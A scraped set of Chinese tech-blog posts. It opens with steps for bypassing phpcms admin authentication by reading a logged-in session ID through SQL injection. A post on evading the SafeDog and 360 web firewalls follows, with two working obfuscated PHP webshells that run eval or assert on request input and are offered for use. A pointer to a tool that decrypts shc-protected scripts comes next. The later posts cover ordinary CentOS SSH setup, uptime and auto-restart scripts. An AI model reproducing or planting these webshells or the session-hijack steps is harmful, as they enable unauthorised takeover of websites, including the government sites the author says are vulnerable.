通过sql注入漏洞读取数据库信息
但是不能破解密码的情况下
可以绕过后台验证
phpcms数据库中表v9_session
保存着管理员登录的信息
而且字段sessionid保存着就是
已经登录管理后台的PHPSESSID
可以通过sql注入读取到这个值
并写入到自己的浏览器中。
直接访问后台地址:
/index.php?m=admin&c=index&a=public_menu_left
将数据库中的sessionid信息带入!
相关文章网上也有
最后,我还是觉得这个漏洞挺鸡肋的
至于哪里鸡肋请看官细细体会
还有几个更牛逼的漏洞也许
过几天就会有人放出来了
反正我不做第一个吃螃蟹的人了
怕被打死~
原文地址:https://zhuanlan.zhihu.com/p/26263513
PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...
如何绕过安全狗waf这类的防护软件--PHP过狗一句话实例两枚+过狗详细分析讲解 渗透测试
00x01
目前大多数网站都存在类似安全狗,360主机卫士的防护软件,所以今天咱们来一波虐狗
00x02
下面是我整理的一些免杀的思路:
1.关键字替换
2.组合猜分
3.关键函数替换
4.加解密/编码/解码
5.可变变量
可变变量顾名思义,变量的变量
例:
$a='b';$b='hello world!';echo $$a;
00x03
一句话原型:
一句话原型可以分为以下两部分:
eval() ------> 函数部分
$_POST["ceshi"] ------> 传值部分
00x04
想要绕过安全狗,我们首先要想到它的过滤机制,我做了一番测试,直接放一句话原型上去,会被杀,然而注释掉传值部分就不会被杀,所以我们要混淆
传值部分,函数部分也混淆,让这类防护软件傻傻分不清,从而达到免杀的效果(欢迎各位老表小弟释放出你们的淫荡姿势-_-||)。
00x05
传值方式:
1.$_GET
2.$_POST
3.$_REQUEST
可能会用到的函数:
assert() eval() str_replace()
trim() ltrim() rtrim()
array() rand()
00x06
免杀系列:
//例1: <?php $c = 'w';$w = 'assert'; $a = array(/**/$_REQUEST["ceshi"],/**/$_GET["ceshi"],/**/$_POST["ceshi"],/**/$_FILE["ceshi"],/**/$_COOKIE["ceshi"]); foreach($a as $k => $v){ if($k==$_GET["a"]){//a=0 $$c($v); } } ?> //例2: <?php $a = str_replace('c','',trim('ssscacssss','s').ltrim('aaascc','a').rtrim('ccsbbbbb','b').trim('vvvvcecvvvvvv','v').trim('sssscrcssss','s').ltrim('aaaactc','a')); $b = array('ccc',/**/$_POST["w"],/**/$_REQUEST["w"]); foreach($b as $k => $v){ if($k == rand($_GET["a"],$_GET["b"])){//a=1&b=2 $a($v); } } ?>
下面配上过狗的截图,昨天新鲜出炉的,欢迎食用.(请点击图片浏览高清原图):
今天就写到这里,我们下次见!
centos开启ssh密钥登录总结 Linux
centos开启SSH的密钥登录相信大家都会吧,而且很多的一键脚本都会配备,比如wdlinux面板的一件安装包都会配备而且支持自定义修改SSH端口,和一键生成密钥,很方便的,但是我们有时候没有必要安装这些一键脚本(比如内存小,不是用来做web服务的等等原因就不细说了);比如我们只是在梯子服务器上安装呢?这就需要我们自己手动了.博主我呢也经常折腾linux服务器,自己的或朋友的,今天抽时间写这篇文章,把我配置SSH密钥过程中遇到的坑都一一道来,
一来是做个总结,二来是方便后人^^.不要再往坑了跳了!跳了的也能尽快出坑!(此处应有掌声 -_-|)
先来看配置SSH的步骤
大致分为以下下几步:
- 本地使用xshell软件生成公钥(不推荐linux端生成,照顾小白)
- 使用非常著名方便小巧的运维工具--lrzsz(点我传送)--来上传公钥到服务端
- 服务端常规配置(会附上详细的步骤shell操作代码)
- 本文的重点--常见的坑的排除,解决方法(附上几种出错的情况以及解决办法)
1.本地使用xshell软件生成公钥:
- 在xshell的工具栏里面找到 工具-新建用户密钥向导 如下图所示:
2.SSH登录服务器,把id_rsa_2048.pub上传到服务器上并注册公钥,配置SSH
- 上传可以参考我这篇文章 lrzsz(点我传送) ,如果安装好了lrzsz,只需要一条命即可把pub文件上传到服务器,输入:
rz
然后在弹出的窗口选择上传的文件即可,如果出现报错,暂时关闭防火墙即可.- 其实使用sftp也可以在xshell里直接传文件,但是我不常用没有做,抱歉,但是教程网上有的,搜索一下即可.
3.服务端注册公钥.pub文件到系统,并分配好权限,权限没设置好后面登录会出问题的,这就是其中的一个坑,很多人都被坑过...具体步骤如下代码 :
就是把id_rsa_2048.pub的内容替换到/root/.ssh/下: [root@test ~]# ls -a . .. id_rsa_2048.pub [root@test ~]# mkdir .ssh [root@test ~]# chmod 700 .ssh/ [root@test ~]# cd .ssh/ [root@test .ssh]# cat ../id_rsa_2048.pub > ./authorized_keys [root@test .ssh]# ls authorized_keys [root@test .ssh]# chmod 600 authorized_keys [root@test ~]# diff id_rsa_2048.pub .ssh/authorized_keys [root@test ~]#
最后的diff命令来比较两个文件,确保文件内容相同。
4.接下来配置server的ssh服务(/etc/ssh/sshd_config)只允许使用密钥登录不允许口令登录(小提示:sshd重启完先不要关闭当前的ssh链接,以防万一):
[root@test~]:# vi /etc/ssh/sshd_config #然后在vi界面用i来insert修改,找个空,回车一下,粘贴下面的代码 PasswordAuthentication no # 不允许口令登录 PubkeyAuthentication yes # 使用key登录 AuthorizedKeysFile .ssh/authorized_keys # key的名字 #然后Esc,输入冒号:wq,保存退出
service sshd restart #重启ssh服务
现在暂时不修改端口,不然修改完端口很多童鞋就直接exit了,就GG了,因为很多人的iptables规则没有设置就退出了,结果就进不去了,要是vps有控制台还好,可以通过控制台的VNC修改配置文件.要是没有就麻烦了.
这时候,xshell新开一个窗口,输入你的服务器IP,端口,默认22,然后回车链接,在弹出的对话框输入用户名,root,然后选择public key,在用户密钥里选择刚刚生成的那个,默认名字是id_rsa_2048,然后在下面输入刚刚设置的密钥密码,登录,看是否正常,如果正常登录,就OK了,然后就可以去修改端口,修改防火墙了:
修改端口,直接,vi /etc/ssh/sshd_config,增加一行,Port 3211 #端口请随意,但要记住.
然后防火墙增加一条规则允许 32211端口链接,命令大概如下,具体的请自行酌情修改:
iptables -A INPUT -p tcp --dport 3211 -j ACCEPT /*允许包从3211端口进入*/ iptables -A OUTPUT -p tcp --sport 3211 -m state --state ESTABLISHED -j ACCEPT /*允许从3211端口进入的包返回*/ service iptables save /*保存配置*/ service iptables restart /*重启iptables*/
下面说一下常见的坑(错误),如何爬出来:
这时候,请先检查存放authorized_keys的文件的权限,是否为600或者是644,如果不知道怎么看,那就直接执行下面的命令一次好了:
chmod 600 .ssh/authorized_keys 即可或者 644 也行. #600权限即-rw-------
注:执行这些命令的前提是,默认你是root账户,且在root目录下.如果不是,请自行调整用户和目录.不懂得可以留言/评论/发邮件.
然后再次登录,成功就不说了,没成功请继续往下看:
没成功就请查看登录日志,具体的命令如下(centos为例,其他的linux目录可能不一样,请注意):
cat /var/log/secure
如果出现如图所示的 xxx because account is locked :
这种有可能是用户被锁定了,于是查看状态 准备解锁用户,命令如下: pam_tally2 --user root #root为你需要登录的账号 pam_tally2 -r -u root #root为你需要登录的账号 通过pam_tally2 --user 指令发现没有锁定,都是0, [root@test~]# pam_tally2 --user root Login Failures Latest failure From root 0 [root@test~]# pam_tally2 -r -u root Login Failures Latest failure From root 0 那就有可能是sshd没开启PAM 修改/etc/ssh/sshd_config 配置后 ,再次登录测试,应该能解决问题
2.如果按照上面这些修改完还是登录不进去,并且查看日志,大概内容如下:
Mar 29 01:36:12 localhost sshd[2645]: Received disconnect from 192.123.123.123: 11: Bye Bye Mar 29 01:49:48 localhost sshd[2031]: Received signal 15; terminating. Mar 29 01:49:48 localhost sshd[2704]: Server listening on 0.0.0.0 port 22. Mar 29 01:49:48 localhost sshd[2704]: Server listening on :: port 22. Mar 29 01:50:12 localhost sshd[2707]: Received disconnect from 192.123.123.123: 0: Mar 29 01:50:43 localhost sshd[2784]: Received disconnect from 192.123.123.123: 0: Mar 29 01:52:21 localhost sshd[2812]: Received disconnect from 192.123.123.123: 0:
出错的是直接就断开了连接,并且没有任何错误提示,请检查服务器的selinux和iptables是否开启,iptables前面讲过,开放想相应端口,
如果还是连接不上,那就检查selinux, 使用下面的代码检查selinux 是否开启 :
查看SELinux状态: 1、/usr/sbin/sestatus -v ##如果SELinux status参数为enabled即为开启状态 SELinux status: enabled 2、getenforce ##也可以用这个命令检查 关闭SELinux: 1、临时关闭(不用重启机器): setenforce 0 ##设置SELinux 成为permissive模式 ##setenforce 1 设置SELinux 成为enforcing模式 2、修改配置文件需要重启机器: 修改/etc/selinux/config 文件 将SELINUX=enforcing改为SELINUX=disabled 重启机器即可 #reboot
目前就写这么多,欢迎补充,交流!
我们下次再会.
破解shc加密过的二进制脚本,此处以破解一个云免脚本为例 技术文章
首先简单的介绍一下shc:
shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.
今天逛一个博客看见了他的一篇文章说的关于破解云免脚本的,评论里面很多人说破解不了骚逼汪的云免脚本,我就是试试而已.哈哈Google一下就找到了在youtube上的一个视频: UnSHc - decrypt shc *.sh.x bash script
然后在作者的博客和github找到了:Unshc脚本.一键破解,很方便,在此记录一下:
Unshc 作者github和博客:
https://github.com/yanncam/UnSHc
https://www.asafety.fr/unshc-the-shc-decrypter/
利用好搜索.事半功倍! 下回见!
Centos 查看系统启动时间和运行时间小计 Linux
1.uptime命令
uptime
输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00
如下图所示:
2.查看/proc/uptime文件计算系统启动时间
cat /proc/uptime
输出: 5113396.94 575949.85 第一数字即是系统已运行的时间5113396.94 秒,运用系统工具date即可算出系统启动时间
代码:
date -d "$(awk -F. '{print $1}' /proc/uptime) second ago" +"%Y-%m-%d %H:%M:%S"
输出: 2008-11-09 11:50:31
3.查看/proc/uptime文件计算系统运行时间
代码:
cat /proc/uptime| awk -F. '{run_days=$1 / 86400;run_hour=($1 % 86400)/3600;run_minute=($1 % 3600)/60;run_second=$1 % 60;printf("系统已运行:%d天%d时%d分%d秒",run_days,run_hour,run_minute,run_second)}'
输出:系统已运行:59天4时13分9秒
由于需要测试刚学的shell编程咋样需要用到,就copy过来备份了,原文地址:http://www.centoscn.com/CentOS/help/2013/0731/834.html
Linux脚本:根据CPU负载及内存使用率自动重启服务进程 Linux
为了让服务器能稳定运行,所以做个脚本能自动检测系统负载,在系统负载很高的时候(当负载或内存占用达到设置值后),自动重启有问题的程序以避免宕机:
# 设置最大内存占用百分比
PID_MEM_MAX=”85″
# 设置最大系统负载
SYS_LOAD_MAX=”1″
# 设置需要监控的服务名称
NAME_LIST=”php5-cgi mysql”
for NAME in $NAME_LIST
do
# 初始化内存统计
PID_MEM_SUM=0
# 获取该程序总进程数
PID_NUM_SUM=`ps aux | grep $NAME | wc -l`
# 列出每个进程内存占用百分比
PID_MEM_LIST=`ps aux | grep $NAME | awk ‘{print $4}’`
# 计算所有进程总内存占用
for PID_MEM in $PID_MEM_LIST
do
PID_MEM_SUM=`echo $PID_MEM_SUM + $PID_MEM | bc`
done
# 获取最近一分钟系统负载
SYS_LOAD=`uptime | awk ‘{print $(NF-2)}’ | sed ‘s/,//’`
# 比较内存占用和系统负载是否超过阀值
MEM_VULE=`awk ‘BEGIN{print(‘”$PID_MEM_SUM”‘>=’”$PID_MEM_MAX”‘?”1″:”0″)}’`
LOAD_VULE=`awk ‘BEGIN{print(‘”$SYS_LOAD”‘>=’”$SYS_LOAD_MAX”‘?”1″:”0″)}’`
# 如果系统内存占用和系统负载超过阀值,则进行下面操作。
if [ $MEM_VULE = 1 ] || [ $LOAD_VULE = 1 ] ;then
# 写入日志
echo $(date +”%y-%m-%d %H:%M:%S”) “killall $NAME” “(MEM:$PID_MEM_SUM,LOAD:$SYS_LOAD)”>> /var/log/autoreboot.log
# 正常停止服务
/etc/init.d/$NAME stop
sleep 3
# 强制关闭
pkill $NAME
# 重启
/etc/init.d/$NAME start
#写入日志
echo $(date +”%y-%m-%d %H:%M:%S”) “start $NAME” “(MEM:$PID_MEM_SUM,LOAD:$SYS_LOAD)” >> /var/log/autoreboot.log
else
echo “$NAME very health!(MEM:$PID_MEM_SUM,LOAD:$SYS_LOAD)” > /dev/null
fi
done
以上代码保存为一个文件,例如:auto_reboot.sh
添加计划任务,设置每分钟检查一次(注意文件的位置要搞正确)
crontab -e
* * * * * /bin/bash/root/auto_reboot.sh
请确保您的Linux系统中已经安装了bc,否则会出现错误。查看是否安装了bc可以使用命令:
bc -v
如果没有安装,centos可以用 yum -y install bc 安装,然后执行命令:
sh /bin/bash/root/auto_reboot.sh
CentOS VPS服务器根据CPU负载及内存占用自动重启的bash shell脚本:
# !/bin/sh
# usage: */2 * * * * root /root/checkload.sh
# [CentOS]VPS服务器根据CPU负载及内存占用自动重启脚本
# 设置最小剩余内存,一般至少要剩余50M可用(单位兆)
FREE_MEM_MIN=”50″
# 设置最大系统负载
SYS_LOAD_MAX=”3″
# 设置重启服务的最小剩余内存(单位兆)
RESTART_FREE_MEM_MIN=”500″
# 设置需要监控的服务名称
NAME_LIST=”httpd mysqld”
for NAME in $NAME_LIST
do
# 获得剩余内存(单位兆)
FREE_MEM=`free -m|grep Mem|awk ‘{print $4}’`
# 获得已用内存(单位兆)
# FREE_MEM=`free -m|grep Mem|awk ‘{print $3}’`
# 获取最近一分钟系统负载
SYS_LOAD=`uptime | awk ‘{print $(NF-2)}’ | sed ‘s/,//’`
# 比较内存占用和系统负载是否超过阀值
MEM_VULE=`awk ‘BEGIN{print(‘”$FREE_MEM”‘<’”$FREE_MEM_MIN”‘?”1″:”0″)}’`
LOAD_VULE=`awk ‘BEGIN{print(‘”$SYS_LOAD”‘>=’”$SYS_LOAD_MAX”‘?”1″:”0″)}’`
# 测试结果
# LOAD_VULE=”1″
# echo $(date +”%y-%m-%d %H:%M:%S”) “DEBUG $NAME” “(FREE_MEM:$FREE_MEM|$MEM_VULE,LOAD:$SYS_LOAD|$LOAD_VULE)”>> /var/log/autoreboot_debug.log
# 如果系统内存占用和系统负载超过阀值,则进行下面操作。
if [ $MEM_VULE = 1 ] || [ $LOAD_VULE = 1 ] ;then
# 写入日志
echo $(date +”%y-%m-%d %H:%M:%S”) “killall $NAME” “(FREE_MEM:$FREE_MEM,LOAD:$SYS_LOAD)”>> /var/log/autoreboot.log
# 正常停止服务
service $NAME stop
sleep 3
# 强制关闭
skill $NAME
# 重启
sleep 10
for i in 1 2 3
do
FREE_MEM=`free -m|grep Mem|awk ‘{print $4}’`
MEM_VULE=`awk ‘BEGIN{print(‘”$FREE_MEM”‘>=’”$RESTART_FREE_MEM_MIN”‘?”1″:”0″)}’`
if [ `pgrep $NAME | wc -l` -le 0 ] && [ $MEM_VULE = 1 ]
then
service $NAME start
sleep 15
echo “AutoStart:” $(date +”%y-%m-%d %H:%M:%S”) “start $NAME” `ps -ef | grep $NAME | wc -l` > /var/log/autoreboot.log
fi
done
# 写入日志
echo $(date +”%y-%m-%d %H:%M:%S”) “start $NAME” “(FREE_MEM:$FREE_MEM,LOAD:$SYS_LOAD)” >> /var/log/autoreboot.log
else
MEM_VULE=`awk ‘BEGIN{print(‘”$FREE_MEM”‘>=’”$RESTART_FREE_MEM_MIN”‘?”1″:”0″)}’`
if [ `pgrep $NAME | wc -l` -le 0 ] && [ $MEM_VULE = 1 ]
then
service $NAME start
sleep 15
echo “AutoStart:” $(date +”%y-%m-%d %H:%M:%S”) “start $NAME” `ps -ef | grep $NAME | wc -l` > /var/log/autoreboot.log
else
echo “$NAME very health!(FREE_MEM:$FREE_MEM,LOAD:$SYS_LOAD)” > /dev/null
fi
fi
done
觉得有用,在自己维护服务器的时候会有用,故转载,附上原文地址:http://www.blogdaren.com/post-548.html